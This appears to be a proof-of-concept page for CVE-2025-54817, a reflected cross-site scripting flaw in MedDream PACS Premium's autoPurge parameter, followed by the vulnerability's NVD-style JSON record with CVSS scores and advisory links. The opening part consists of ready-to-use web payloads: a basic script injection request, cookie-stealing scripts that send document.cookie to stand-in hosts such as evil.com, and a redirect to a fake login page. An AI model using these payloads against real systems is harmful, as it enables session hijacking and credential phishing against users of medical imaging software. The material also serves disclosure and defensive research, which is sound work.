CVE-2025-54817

<!-- CVE-2025-54817 PoC: Reflected XSS in MedDream PACS Premium autoPurge --> <!-- This PoC demonstrates the XSS vulnerability in the autoPurge functionality --> <!-- Basic XSS PoC --> GET /path/to/meddream/pacs?autoPurge=<script>alert('XSS')</script> HTTP/1.1 Host: target-server.com User-Agent: Mozilla/5.0 <!-- Cookie stealing PoC --> <script> fetch('https://attacker-controlled-server/steal?cookie=' + encodeURIComponent(document.cookie)); </script> <!-- Session hijacking PoC --> <img src=x onerror='fetch("https://evil.com/log?data="+document.cookie)'> <!-- Phishing redirect PoC --> <script> window.location.href='https://malicious-site.com/fake-login?redirect='+encodeURIComponent(window.location.href); </script> <!-- Real attack URL structure --> <!-- https://vulnerable-server/meddream/autopurge?autoPurge=<script>malicious_code</script> -->

{"cve": {"id": "CVE-2025-54817", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:17:02.360", "lastModified": "2026-01-29T15:21:14.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (xss) vulnerability exists in the autoPurge functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious url can lead to arbitrary javascript code execution. An attacker can provide a URL to a malicious website to trigger this vulnerability."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejado existe en la funcionalidad autoPurge de MedDream PACS Premium 7.3.6.870. Una URL maliciosa especialmente diseñada puede conducir a la ejecución de código JavaScript arbitrario. Un atacante puede proporcionar una URL a un sitio web malicioso para activar esta vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meddream:pacs_server:7.3.6.870:*:*:*:premium:*:*:*", "matchCriteriaId": "0F239E49-18E8-4DE0-B9B8-C220C3BC0C62"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2253", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2253", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}